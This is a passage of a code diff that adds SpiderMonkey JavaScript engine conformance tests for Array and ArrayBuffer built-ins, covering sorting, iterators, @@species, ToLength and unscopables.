+// Tests that we can use %ArrayIteratorPrototype%.next on a
+// cross-compartment iterator.
+function TestArrayIteratorWrappers() {
+ var iter = [][Symbol.iterator]();
+ assertDeepEq(iter.next.call(newGlobal().eval('[5][Symbol.iterator]()')),
+ { value: 5, done: false })
+}
+if (typeof newGlobal === "function") {
+ TestArrayIteratorWrappers();
+}
+
+// Tests that calling |next| on an array iterator after iteration has finished
+// doesn't get the array's |length| property.
+function TestIteratorNextGetLength() {
+ var lengthCalledTimes = 0;
+ var array = {
+ __proto__: Array.prototype,
+ get length() {
+ lengthCalledTimes += 1;
+ return {
+ valueOf() {
+ return 0;
+ }
+ };
+ }
+ };
+ var it = array[Symbol.iterator]();
+ it.next();
+ it.next();
+ assertEq(1, lengthCalledTimes);
+}
+TestIteratorNextGetLength();
+
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Array/lastIndexOf-never-returns-negative-zero.js b/js/src/tests/ecma_6/Array/lastIndexOf-never-returns-negative-zero.js
new file mode 100644
index 000000000..296f87ec1
--- /dev/null
+++ b/js/src/tests/ecma_6/Array/lastIndexOf-never-returns-negative-zero.js
@@ -0,0 +1,4 @@
+assertEq([17].lastIndexOf(17, -0), +0);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Array/shell.js b/js/src/tests/ecma_6/Array/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_6/Array/shell.js
diff --git a/js/src/tests/ecma_6/Array/shift_for_in.js b/js/src/tests/ecma_6/Array/shift_for_in.js
new file mode 100644
index 000000000..1bbf2d9c2
--- /dev/null
+++ b/js/src/tests/ecma_6/Array/shift_for_in.js
@@ -0,0 +1,13 @@
+var BUGNUMBER = 1247701;
+var summary = 'Array.prototype.shift on a dense array with holes should update for-in enumeration properties.';
+
+print(BUGNUMBER + ": " + summary);
+
+var x = ["a", , "b", , "c", "d" , "e", "f", "g"];
+for (var p in x) {
+ assertEq(p in x, true);
+ x.shift();
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Array/sort_basics.js b/js/src/tests/ecma_6/Array/sort_basics.js
new file mode 100644
index 000000000..e3011e5c4
--- /dev/null
+++ b/js/src/tests/ecma_6/Array/sort_basics.js
@@ -0,0 +1,46 @@
+// Note: failed runs should include their "SEED" value in error messages,
+// setting "const SEED" to that value will recreate the data from any such run.
+const SEED = (Math.random() * 10) + 1;
+
+// Create an array filled with random values, 'size' is the desired length of
+// the array and 'seed' is an initial value supplied to a pseudo-random number
+// generator.
+function genRandomArray(size, seed) {
+ return Array.from(XorShiftGenerator(seed, size));
+}
+
+function SortTest(size, seed) {
+ let arrOne = genRandomArray(size, seed);
+ let arrTwo = Array.from(arrOne);
+ let arrThree = Array.from(arrOne);
+ let typedArrays = [
+ new Uint8Array(arrOne),
+ new Int32Array(arrOne),
+ new Float32Array(arrOne)
+ ];
+
+ let sorted = Array.from((Int32Array.from(arrOne)).sort());
+
+ // Test numeric comparators against typed array sort.
+ assertDeepEq(sorted, arrTwo.sort((x, y) => (x - y)),
+ `The array is not properly sorted! seed: ${SEED}`);
+
+ // Use multiplication to kill comparator optimization and trigger
+ // self-hosted sorting.
+ assertDeepEq(sorted, arrThree.sort((x, y) => (1*x - 1*y)),
+ `The array is not properly sorted! seed: ${SEED}`);
+
+ // Ensure that typed arrays are also sorted property.
+ for (typedArr of typedArrays) {
+ let sortedTypedArray = Array.prototype.sort.call(typedArr, (x, y) => (1*x - 1*y))
+ assertDeepEq(sorted, Array.from(sortedTypedArray),
+ `The array is not properly sorted! seed: ${SEED}`);
+ }
+}
+
+SortTest(2048, SEED);
+SortTest(16, SEED);
+SortTest(0, SEED);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Array/sort_holes.js b/js/src/tests/ecma_6/Array/sort_holes.js
new file mode 100644
index 000000000..7424bd889
--- /dev/null
+++ b/js/src/tests/ecma_6/Array/sort_holes.js
@@ -0,0 +1,66 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// We should preserve holes when sorting sparce arrays.
+// See bug: 1246860
+
+function denseCount(arr) {
+ var c = 0;
+ for (var i = 0; i < arr.length; i++)
+ if (i in arr)
+ c++;
+ return c;
+}
+
+let a = [,,,,,,,,,,,,,,,,,,,,{size: 1},{size: 2}];
+let b = [,,,,,,,,,,,,,,,,,,,,{size: 1},{size: 2}].sort();
+let c = [,,,,,,,,,,,,,,,,,,,,{size: 1},{size: 2}].sort((a, b) => {+a.size - +b.size});
+
+assertEq(a.length, 22);
+assertEq(denseCount(a), 2);
+assertEq(a.length, b.length);
+assertEq(b.length, c.length);
+assertEq(denseCount(a), denseCount(b));
+assertEq(denseCount(b), denseCount(c));
+
+let superSparce = new Array(5000);
+superSparce[0] = 99;
+superSparce[4000] = 0;
+superSparce[4999] = -1;
+
+assertEq(superSparce.length, 5000);
+assertEq(denseCount(superSparce), 3);
+
+superSparce.sort((a, b) => 1*a-b);
+assertEq(superSparce.length, 5000);
+assertEq(denseCount(superSparce), 3);
+assertEq(superSparce[0], -1);
+assertEq(superSparce[1], 0);
+assertEq(superSparce[2], 99);
+
+let allHoles = new Array(2600);
+assertEq(allHoles.length, 2600);
+assertEq(denseCount(allHoles), 0);
+allHoles.sort((a, b) => 1*a-b);
+assertEq(allHoles.length, 2600);
+assertEq(denseCount(allHoles), 0);
+
+let oneHole = new Array(2600);
+oneHole[1399] = {size: 27};
+assertEq(oneHole.length, 2600);
+assertEq(denseCount(oneHole), 1);
+oneHole.sort((a, b) => {+a.size - +b.size});
+assertDeepEq(oneHole[0], {size: 27});
+assertEq(oneHole.length, 2600);
+assertEq(denseCount(oneHole), 1);
+
+// Sealed objects should be sortable, including those with holes (so long
+// as the holes appear at the end, so that they don't need to be moved).
+assertDeepEq(Object.seal([0, 99, -1]).sort((x, y) => 1 * x - y),
+ Object.seal([-1, 0, 99]));
+
+assertDeepEq(Object.seal([1, 5, 4, , ,]).sort((x, y) => 1 * x - y),
+ Object.seal([1, 4, 5, , ,]));
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/Array/sort_proxy.js b/js/src/tests/ecma_6/Array/sort_proxy.js
new file mode 100644
index 000000000..40ebb907b
--- /dev/null
+++ b/js/src/tests/ecma_6/Array/sort_proxy.js
@@ -0,0 +1,38 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/publicdomain/zero/1.0/ */
+
+// Ensure, via proxy, that only get, set, delete, has, and getOwnPropertyDescriptor
+// are touched during sorting.
+
+const handler = {
+ set: function(target, prop, value) {
+ target[prop] = value;
+ return value;
+ },
+ getPrototypeOf: () => { throw "You shouldn't touch getPrototypeOf!" },
+ setPrototypeOf: () => { throw "You shouldn't touch setPrototypeOf!" },
+ isExtensible: () => { throw "You shouldn't touch isExtensible!" },
+ preventExtensions: () => { throw "You shouldn't touch preventExtensions!" },
+ defineProperty: () => { throw "You shouldn't touch defineProperty!" },
+ ownKeys: () => { throw "You shouldn't touch ownKeys!" },
+ apply: () => { throw "You shouldn't touch apply!" },
+ construct: () => { throw "You shouldn't touch construct!" },
+}
+
+function testArray(arr) {
+ let proxy = new Proxy(arr, handler)
+
+ // The supplied comparators trigger a JavaScript implemented sort.
+ proxy.sort((x, y) => 1 * x - y);
+ arr.sort((x, y) => 1 * x - y);
+
+ for (let i in arr)
+ assertEq(arr[i], proxy[i]);
+}
+
+testArray([-1]);
+testArray([5, -1, 2, 99]);
+testArray([5, -1, , , , 2, 99]);
+testArray([]);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/Array/sort_small.js b/js/src/tests/ecma_6/Array/sort_small.js
new file mode 100644
index 000000000..fa8b789e1
--- /dev/null
+++ b/js/src/tests/ecma_6/Array/sort_small.js
@@ -0,0 +1,33 @@
+// Sort every possible permutation of some arrays.
+function sortAllPermutations(data, comparefn) {
+ for (let permutation of Permutations(Array.from(data))) {
+ let sorted = (Array.from(permutation)).sort(comparefn);
+ for (let i in sorted) {
+ assertEq(sorted[i], data[i],
+ [`[${permutation}].sort(${comparefn})`,
+ `returned ${sorted}, expected ${data}`].join(' '));
+ }
+ }
+}
+
+let lex = [2112, "bob", "is", "my", "name"];
+let nans = [1/undefined, NaN, Number.NaN]
+
+let num1 = [-11, 0, 0, 100, 101];
+let num2 = [-11, 100, 201234.23, undefined, undefined];
+
+sortAllPermutations(lex);
+sortAllPermutations(nans);
+
+sortAllPermutations(nans, (x, y) => x - y);
+// Multiplication kills comparator optimization.
+sortAllPermutations(nans, (x, y) => (1*x - 1*y));
+
+sortAllPermutations(num1, (x, y) => x - y);
+sortAllPermutations(num1, (x, y) => (1*x - 1*y));
+
+sortAllPermutations(num2, (x, y) => x - y);
+sortAllPermutations(num2, (x, y) => (1*x - 1*y));
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Array/species.js b/js/src/tests/ecma_6/Array/species.js
new file mode 100644
index 000000000..3669c286f
--- /dev/null
+++ b/js/src/tests/ecma_6/Array/species.js
@@ -0,0 +1,182 @@
+var BUGNUMBER = 1165052;
+var summary = 'Use ArraySpeciesCreate in Array.prototype.{concat,filter,map,slice,splice}.';
+
+print(BUGNUMBER + ": " + summary);
+
+function test(funcName, args, expectedLength, expectedLogs) {
+ // modified @@species
+ function FakeArray(n) {
+ this.length = n;
+ }
+ var a = [1, 2, 3, 4, 5];
+ a.constructor = {
+ [Symbol.species]: FakeArray
+ };
+ var b = a[funcName](...args);
+ assertEq(b.constructor, FakeArray);
+
+ function FakeArrayWithSpecies(n) {
+ this.length = n;
+ }
+ FakeArrayWithSpecies[Symbol.species] = FakeArrayWithSpecies;
+ a = [1, 2, 3, 4, 5];
+ a.constructor = FakeArrayWithSpecies;
+ b = a[funcName](...args);
+ assertEq(b.constructor, FakeArrayWithSpecies);
+
+ function FakeArrayWithHook(n) {
+ return new Proxy(new FakeArray(n), {
+ set(that, name, value) {
+ logs += "set:" + name + ":" + value + ",";
+ return true;
+ },
+ defineProperty(that, name, desc) {
+ logs += "define:" + name + ":" + desc.value + ":" + desc.configurable + ":" + desc.enumerable + ":" + desc.writable + ",";
+ return true;
+ }
+ });
+ }
+ var logs = "";
+ var ctorProxy = new Proxy({}, {
+ get(that, name) {
+ logs += "c-get:" + name.toString() + ",";
+ if (name == Symbol.species)
+ return FakeArrayWithHook;
+
+ return undefined;
+ }
+ });
+ a = new Proxy([1, 2, 3, 4, 5], {
+ get(that, name) {
+ logs += "get:" + name.toString() + ",";
+ if (name == "constructor")
+ return ctorProxy;
+ return that[name];
+ }
+ });
+ b = a[funcName](...args);
+ assertEq(b.constructor, FakeArray);
+ assertEq(Object.keys(b).sort().join(","), "length");
+ assertEq(b.length, expectedLength);
+ assertEq(logs, expectedLogs);
+
+ // no @@species
+ a = [1, 2, 3, 4, 5];
+ a.constructor = FakeArray;
+ b = a[funcName](...args);
+ assertEq(b.constructor, Array);
+
+ a = [1, 2, 3, 4, 5];
+ a.constructor = {
+ [Symbol.species]: undefined
+ };
+ b = a[funcName](...args);
+ assertEq(b.constructor, Array);
+
+ a = [1, 2, 3, 4, 5];
+ a.constructor = {
+ [Symbol.species]: null
+ };
+ b = a[funcName](...args);
+ assertEq(b.constructor, Array);
+
+ // invalid @@species
+ for (var species of [0, 1.1, true, false, "a", /a/, Symbol.iterator, [], {}]) {
+ a = [1, 2, 3, 4, 5];
+ a.constructor = {
+ [Symbol.species]: species
+ };
+ assertThrowsInstanceOf(() => a[funcName](...args), TypeError);
+ }
+
+ // undefined constructor
+ a = [1, 2, 3, 4, 5];
+ a.constructor = undefined;
+ b = a[funcName](...args);
+ assertEq(b.constructor, Array);
+
+ // invalid constructor
+ for (var ctor of [null, 0, 1.1, true, false, "a", Symbol.iterator]) {
+ a = [1, 2, 3, 4, 5];
+ a.constructor = ctor;
+ assertThrowsInstanceOf(() => a[funcName](...args), TypeError);
+ }
+
+ // not an array
+ a = new Proxy({
+ 0: 1, 1: 2, 2: 3, 3: 4, 4: 5,
+ length: 5,
+ [funcName]: Array.prototype[funcName]
+ }, {
+ get(that, name) {
+ assertEq(name !== "constructor", true);
+ return that[name];
+ }
+ });
+ b = a[funcName](...args);
+ assertEq(b.constructor, Array);
+
+ // @@species from different global
+ var g = newGlobal();
+ g.eval("function FakeArray(n) { this.length = n; }");
+ a = [1, 2, 3, 4, 5];
+ a.constructor = {
+ [Symbol.species]: g.FakeArray
+ };
+ b = a[funcName](...args);
+ assertEq(b.constructor, g.FakeArray);
+
+ a = [1, 2, 3, 4, 5];
+ a.constructor = {
+ [Symbol.species]: g.Array
+ };
+ b = a[funcName](...args);
+ assertEq(b.constructor, g.Array);
+
+ // constructor from different global
+ g.eval("function FakeArrayWithSpecies(n) { this.length = n; }");
+ g.eval("FakeArrayWithSpecies[Symbol.species] = FakeArrayWithSpecies;");
+ a = [1, 2, 3, 4, 5];
+ a.constructor = g.FakeArrayWithSpecies;
+ b = a[funcName](...args);
+ assertEq(b.constructor, g.FakeArrayWithSpecies);
+
+ g.eval("var a = [1, 2, 3, 4, 5];");
+ b = Array.prototype[funcName].apply(g.a, args);
+ assertEq(b.constructor, Array);
+
+ // running in different global
+ b = g.a[funcName](...args);
+ assertEq(b.constructor, g.Array);
+
+ // subclasses
+ // not-modified @@species
+ eval(`
+class ${funcName}Class extends Array {
+}
+a = new ${funcName}Class(1, 2, 3, 4, 5);
+b = a[funcName](...args);
+assertEq(b.constructor, ${funcName}Class);
+`);
+
+ // modified @@species
+ eval(`
+class ${funcName}Class2 extends Array {
+ static get [Symbol.species]() {
+ return Date;
+ }
+}
+a = new ${funcName}Class2(1, 2, 3, 4, 5);
+b = a[funcName](...args);
+assertEq(b.constructor, Date);
+`);
+}
+
+test("concat", [], 0, "get:concat,get:constructor,c-get:Symbol(Symbol.species),get:Symbol(Symbol.isConcatSpreadable),get:length,get:0,define:0:1:true:true:true,get:1,define:1:2:true:true:true,get:2,define:2:3:true:true:true,get:3,define:3:4:true:true:true,get:4,define:4:5:true:true:true,set:length:5,");
+test("filter", [x => x % 2], 0, "get:filter,get:length,get:constructor,c-get:Symbol(Symbol.species),get:0,define:0:1:true:true:true,get:1,get:2,define:1:3:true:true:true,get:3,get:4,define:2:5:true:true:true,");
+test("map", [x => x * 2], 5, "get:map,get:length,get:constructor,c-get:Symbol(Symbol.species),get:0,define:0:2:true:true:true,get:1,define:1:4:true:true:true,get:2,define:2:6:true:true:true,get:3,define:3:8:true:true:true,get:4,define:4:10:true:true:true,");
+test("slice", [], 5, "get:slice,get:length,get:constructor,c-get:Symbol(Symbol.species),get:0,define:0:1:true:true:true,get:1,define:1:2:true:true:true,get:2,define:2:3:true:true:true,get:3,define:3:4:true:true:true,get:4,define:4:5:true:true:true,set:length:5,");
+test("splice", [0, 5], 5, "get:splice,get:length,get:constructor,c-get:Symbol(Symbol.species),get:0,define:0:1:true:true:true,get:1,define:1:2:true:true:true,get:2,define:2:3:true:true:true,get:3,define:3:4:true:true:true,get:4,define:4:5:true:true:true,set:length:5,");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Array/to-length.js b/js/src/tests/ecma_6/Array/to-length.js
new file mode 100644
index 000000000..d6b4c6d7c
--- /dev/null
+++ b/js/src/tests/ecma_6/Array/to-length.js
@@ -0,0 +1,40 @@
+const max = Number.MAX_SAFE_INTEGER;
+
+assertEq(Array.prototype.indexOf.call({length: Infinity, [max - 1]: 'test'}, 'test', max - 3), max - 1);
+assertEq(Array.prototype.lastIndexOf.call({length: Infinity, [max - 2]: 'test', [max - 1]: 'test2'}, 'test'), max - 2);
+
+// ToLength doesn't truncate Infinity to zero, so the callback should be invoked
+assertThrowsValue(() => Array.prototype.every.call({length: Infinity, [0]: undefined}, () => { throw "invoked" }), "invoked");
+assertThrowsValue(() => Array.prototype.some.call({length: Infinity, [0]: undefined}, () => { throw "invoked" }), "invoked");
+// Timeout before calling our callback
+// assertThrowsValue(() => Array.prototype.sort.call({length: Infinity}, () => { throw "invoked" }), "invoked");
+assertThrowsValue(() => Array.prototype.forEach.call({length: Infinity, [0]: undefined}, () => { throw "invoked" }), "invoked");
+assertThrowsValue(() => Array.prototype.filter.call({length: Infinity, [0]: undefined}, () => { throw "invoked" }), "invoked");
+assertThrowsValue(() => Array.prototype.reduce.call({length: Infinity, [0]: undefined, [1]: undefined}, () => { throw "invoked" }), "invoked");
+assertThrowsValue(() => Array.prototype.reduceRight.call({length: Infinity, [max - 1]: undefined, [max - 2]: undefined}, () => { throw "invoked" }), "invoked");
+assertThrowsValue(() => Array.prototype.find.call({length: Infinity}, () => { throw "invoked" }), "invoked");
+assertThrowsValue(() => Array.prototype.findIndex.call({length: Infinity}, () => { throw "invoked" }), "invoked");
+assertThrowsValue(() => Array.prototype.fill.call({length: Infinity, set "0"(v) { throw "invoked"; }}, () => { throw "invoked" }), "invoked");
+assertThrowsValue(() => Array.prototype.copyWithin.call({length: Infinity, get [max - 2]() { throw "invoked"; }}, max - 2, max - 2), "invoked");
+
+assertEq(Array.prototype.includes.call({length: Infinity, [max - 1]: "test"}, "test", max - 3), true);
+
+// Invoking the Array constructor with MAX_SAFE_INTEGER will throw, 0 won't
+assertThrowsInstanceOf(() => Array.from({length: Infinity}), RangeError);
+
+// Make sure ArraySpeciesCreate is called with ToLength applied to the length property
+var proxy = new Proxy([], {
+ get(target, property) {
+ if (property === "length")
+ return Infinity;
+
+ assertEq(property, "constructor");
+ function fakeConstructor(length) { assertEq(length, max); throw "invoked"; };
+ fakeConstructor[Symbol.species] = fakeConstructor;
+ return fakeConstructor;
+ }
+})
+assertThrowsValue(() => Array.prototype.map.call(proxy, () => { }), "invoked");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Array/toLocaleString-nointl.js b/js/src/tests/ecma_6/Array/toLocaleString-nointl.js
new file mode 100644
index 000000000..b0cee8304
--- /dev/null
+++ b/js/src/tests/ecma_6/Array/toLocaleString-nointl.js
@@ -0,0 +1,26 @@
+if (typeof Intl !== "object") {
+ const localeSep = [,,].toLocaleString();
+
+ const obj = {
+ toLocaleString() {
+ assertEq(arguments.length, 0);
+ return "pass";
+ }
+ };
+
+ // Ensure no arguments are passed to the array elements.
+ // - Single element case.
+ assertEq([obj].toLocaleString(), "pass");
+ // - More than one element.
+ assertEq([obj, obj].toLocaleString(), "pass" + localeSep + "pass");
+
+ // Ensure no arguments are passed to the array elements even if supplied.
+ const locales = {}, options = {};
+ // - Single element case.
+ assertEq([obj].toLocaleString(locales, options), "pass");
+ // - More than one element.
+ assertEq([obj, obj].toLocaleString(locales, options), "pass" + localeSep + "pass");
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Array/toLocaleString.js b/js/src/tests/ecma_6/Array/toLocaleString.js
new file mode 100644
index 000000000..4a16cb4a4
--- /dev/null
+++ b/js/src/tests/ecma_6/Array/toLocaleString.js
@@ -0,0 +1,14 @@
+"use strict";
+
+Object.defineProperty(String.prototype, "toLocaleString", {
+ get() {
+ assertEq(typeof this, "string");
+
+ return function() { return typeof this; };
+ }
+})
+
+assertEq(["test"].toLocaleString(), "string");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Array/unscopables.js b/js/src/tests/ecma_6/Array/unscopables.js
new file mode 100644
index 000000000..6685309a0
--- /dev/null
+++ b/js/src/tests/ecma_6/Array/unscopables.js
@@ -0,0 +1,51 @@
+let Array_unscopables = Array.prototype[Symbol.unscopables];
+
+let desc = Reflect.getOwnPropertyDescriptor(Array.prototype, Symbol.unscopables);
+assertDeepEq(desc, {
+ value: Array_unscopables,
+ writable: false,
+ enumerable: false,
+ configurable: true
+});
+
+assertEq(Reflect.getPrototypeOf(Array_unscopables), null);
+
+let desc2 = Object.getOwnPropertyDescriptor(Array_unscopables, "values");
+assertDeepEq(desc2, {
+ value: true,
+ writable: true,
+ enumerable: true,
+ configurable: true
+});
+
+let keys = Reflect.ownKeys(Array_unscopables);
+print(uneval(keys));
+assertDeepEq(keys, [
+ "copyWithin",
+ "entries",
+ "fill",
+ "find",
+ "findIndex",
+ "includes",
+ "keys",
+ "values"
+]);
+
+for (let key of keys)
+ assertEq(Array_unscopables[key], true);
+
+// Test that it actually works
+assertThrowsInstanceOf(() => {
+ with ([]) {
+ return entries;
+ }
+}, ReferenceError);
+
+{
+ let fill = 33;
+ with (Array.prototype) {
+ assertEq(fill, 33);
+ }
+}
+
+reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/Array/values.js b/js/src/tests/ecma_6/Array/values.js
new file mode 100644
index 000000000..902a66812
--- /dev/null
+++ b/js/src/tests/ecma_6/Array/values.js
@@ -0,0 +1,20 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+if (Array.prototype.values) {
+ assertEq(Array.prototype.values, Array.prototype[Symbol.iterator]);
+ assertEq(Array.prototype.values.name, "values");
+ assertEq(Array.prototype.values.length, 0);
+
+ function valuesUnscopeable() {
+ var values = "foo";
+ with ([1, 2, 3]) {
+ assertEq(indexOf, Array.prototype.indexOf);
+ assertEq(values, "foo");
+ }
+ }
+ valuesUnscopeable();
+}
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/ArrayBuffer/CloneArrayBuffer.js b/js/src/tests/ecma_6/ArrayBuffer/CloneArrayBuffer.js
new file mode 100644
index 000000000..480314ad8
--- /dev/null
+++ b/js/src/tests/ecma_6/ArrayBuffer/CloneArrayBuffer.js
@@ -0,0 +1,35 @@
+var BUGNUMBER = 1264941;
+var summary = 'CloneArrayBuffer should be called with byteLength of source typedArray';
+
+print(BUGNUMBER + ": " + summary);
+
+function test(ctor, byteLength) {
+ var abuf = new ctor(byteLength);
+ assertEq(abuf.byteLength, byteLength);
+
+ for (var byteOffset of [0, 16]) {
+ for (var elementLength = 0;
+ elementLength < (byteLength - byteOffset) / Float64Array.BYTES_PER_ELEMENT;
+ elementLength++) {
+ var a1 = new Float64Array(abuf, byteOffset, elementLength);
+ assertEq(a1.buffer.byteLength, byteLength);
+ assertEq(a1.byteLength, elementLength * Float64Array.BYTES_PER_ELEMENT);
+ assertEq(a1.byteOffset, byteOffset);
+
+ var a2 = new Float64Array(a1);
+ assertEq(a2.buffer.byteLength, a1.byteLength);
+ assertEq(a2.byteLength, a1.byteLength);
+ assertEq(a2.byteOffset, 0);
+ }
+ }
+}
+
+test(ArrayBuffer, 16);
+test(ArrayBuffer, 128);
+
+class MyArrayBuffer extends ArrayBuffer {}
+test(MyArrayBuffer, 16);
+test(MyArrayBuffer, 128);
+
+if (typeof reportCompare === 'function')
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/ArrayBuffer/browser.js b/js/src/tests/ecma_6/ArrayBuffer/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_6/ArrayBuffer/browser.js
diff --git a/js/src/tests/ecma_6/ArrayBuffer/constructorNotCallable.js b/js/src/tests/ecma_6/ArrayBuffer/constructorNotCallable.js
new file mode 100644
index 000000000..9df97fe86
--- /dev/null
+++ b/js/src/tests/ecma_6/ArrayBuffer/constructorNotCallable.js
@@ -0,0 +1,8 @@
+assertThrowsInstanceOf(() => ArrayBuffer(), TypeError);
+assertThrowsInstanceOf(() => ArrayBuffer(1), TypeError);
+assertThrowsInstanceOf(() => ArrayBuffer.call(null), TypeError);
+assertThrowsInstanceOf(() => ArrayBuffer.apply(null, []), TypeError);
+assertThrowsInstanceOf(() => Reflect.apply(ArrayBuffer, null, []), TypeError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/ecma_6/ArrayBuffer/getter-name.js b/js/src/tests/ecma_6/ArrayBuffer/getter-name.js
new file mode 100644
index 000000000..434782bfe
--- /dev/null
+++ b/js/src/tests/ecma_6/ArrayBuffer/getter-name.js
@@ -0,0 +1,10 @@
+var BUGNUMBER = 1180290;
+var summary = 'ArrayBuffer getters should have get prefix';
+
+print(BUGNUMBER + ": " + summary);
+
+assertEq(Object.getOwnPropertyDescriptor(ArrayBuffer, Symbol.species).get.name, "get [Symbol.species]");
+assertEq(Object.getOwnPropertyDescriptor(ArrayBuffer.prototype, "byteLength").get.name, "get byteLength");
+
+if (typeof reportCompare === 'function')
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/ArrayBuffer/shell.js b/js/src/tests/ecma_6/ArrayBuffer/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_6/ArrayBuffer/shell.js
diff --git a/js/src/tests/ecma_6/ArrayBuffer/slice-species.js b/js/src/tests/ecma_6/ArrayBuffer/slice-species.js
new file mode 100644
index 000000000..6f025d162
--- /dev/null
+++ b/js/src/tests/ecma_6/ArrayBuffer/slice-species.js
@@ -0,0 +1,180 @@
+const tests = [
+ [Int8Array, [9, 10, 11, 12, 13, 14, 15, 16]],
+ [Uint8Array, [9, 10, 11, 12, 13, 14, 15, 16]],
+ [Uint8ClampedArray, [9, 10, 11, 12, 13, 14, 15, 16]],
+ [Int16Array, [5, 6, 7, 8]],
+ [Uint16Array, [5, 6, 7, 8]],
+ [Int32Array, [3, 4]],
+ [Uint32Array, [3, 4]],
+ [Float32Array, [3, 4]],
+ [Float64Array, [2]],
+];
+
+let logs = [];
+for (let [ctor, answer] of tests) {
+ let arr = new ctor([1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16]);
+
+ let proxyProto = new Proxy({}, {
+ get(that, name) {
+ throw new Error("unexpected prop access");
+ }
+ });
+
+ class MyArrayBuffer extends ArrayBuffer {}
+
+ arr.buffer.constructor = new Proxy({}, {
+ get(that, name) {
+ if (name == Symbol.species) {
+ logs.push("get @@species");
+ let C = new Proxy(function(...args) {
+ logs.push("call ctor");
+ return new MyArrayBuffer(...args);
+ }, {
+ get(that, name) {
+ logs.push("get ctor." + String(name));
+ if (name == "prototype") {
+ return proxyProto;
+ }
+ throw new Error("unexpected prop access");
+ }
+ });
+ return C;
+ }
+ throw new Error("unexpected prop access");
+ }
+ });
+
+ logs.length = 0;
+ let buf = arr.buffer.slice(8, 16);
+ assertEq(buf.constructor, MyArrayBuffer);
+ assertDeepEq(logs, ["get @@species", "get ctor.prototype", "call ctor"]);
+ assertDeepEq([...new ctor(buf)], answer);
+
+
+ // modified @@species
+ let a = arr.buffer;
+ a.constructor = {
+ [Symbol.species]: MyArrayBuffer
+ };
+ let b = a.slice(8, 16);
+ assertEq(b.constructor, MyArrayBuffer);
+ assertDeepEq([...new ctor(b)], answer);
+
+ class MyArrayBufferWithSpecies extends ArrayBuffer {
+ get [Symbol.species]() {
+ return MyArrayBufferWithSpecies;
+ }
+ }
+ a = arr.buffer;
+ a.constructor = MyArrayBufferWithSpecies;
+ b = a.slice(8, 16);
+ assertEq(b.constructor, MyArrayBufferWithSpecies);
+ assertDeepEq([...new ctor(b)], answer);
+
+ // no @@species
+ a = arr.buffer;
+ a.constructor = {
+ [Symbol.species]: undefined
+ };
+ b = a.slice(8, 16);
+ assertEq(b.constructor, ArrayBuffer);
+ assertDeepEq([...new ctor(b)], answer);
+
+ a = arr.buffer;
+ a.constructor = {
+ [Symbol.species]: null
+ };
+ b = a.slice(8, 16);
+ assertEq(b.constructor, ArrayBuffer);
+ assertDeepEq([...new ctor(b)], answer);
+
+ // invalid @@species
+ for (let species of [0, 1.1, true, false, "a", /a/, Symbol.iterator, [], {}]) {
+ a = arr.buffer;
+ a.constructor = {
+ [Symbol.species]: species
+ };
+ assertThrowsInstanceOf(() => a.slice(8, 16), TypeError);
+ }
+
+ // undefined constructor
+ a = arr.buffer;
+ a.constructor = undefined;
+ b = a.slice(8, 16);
+ assertEq(b.constructor, ArrayBuffer);
+ assertDeepEq([...new ctor(b)], answer);
+
+ // invalid constructor
+ for (let ctor of [null, 0, 1.1, true, false, "a", Symbol.iterator]) {
+ a = arr.buffer;
+ a.constructor = ctor;
+ assertThrowsInstanceOf(() => a.slice(8, 16), TypeError);
+ }
+
+ // @@species from different global
+ let g = newGlobal();
+ g.eval("var MyArrayBuffer = class MyArrayBuffer extends ArrayBuffer {};");
+ a = arr.buffer;
+ a.constructor = {
+ [Symbol.species]: g.MyArrayBuffer
+ };
+ b = a.slice(8, 16);
+ assertEq(b.constructor, g.MyArrayBuffer);
+ assertDeepEq([...new ctor(b)], answer);
+
+ a = arr.buffer;
+ a.constructor = {
+ [Symbol.species]: g.ArrayBuffer
+ };
+ b = a.slice(8, 16);
+ assertEq(b.constructor, g.ArrayBuffer);
+ assertDeepEq([...new ctor(b)], answer);
+
+ // constructor from different global
+ g.eval(`
+var MyArrayBufferWithSpecies = class MyArrayBufferWithSpecies extends ArrayBuffer {
+ get [Symbol.species]() {
+ return MyArrayBufferWithSpecies;
+ }
+};
+`);
+ a = arr.buffer;
+ a.constructor = g.MyArrayBufferWithSpecies;
+ b = a.slice(8, 16);
+ assertEq(b.constructor, g.MyArrayBufferWithSpecies);
+ assertDeepEq([...new ctor(b)], answer);
+
+ g.eval(`
+var arr = new ${ctor.name}([1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16]);
+var a = arr.buffer;
+`);
+ b = ArrayBuffer.prototype.slice.call(g.a, 8, 16);
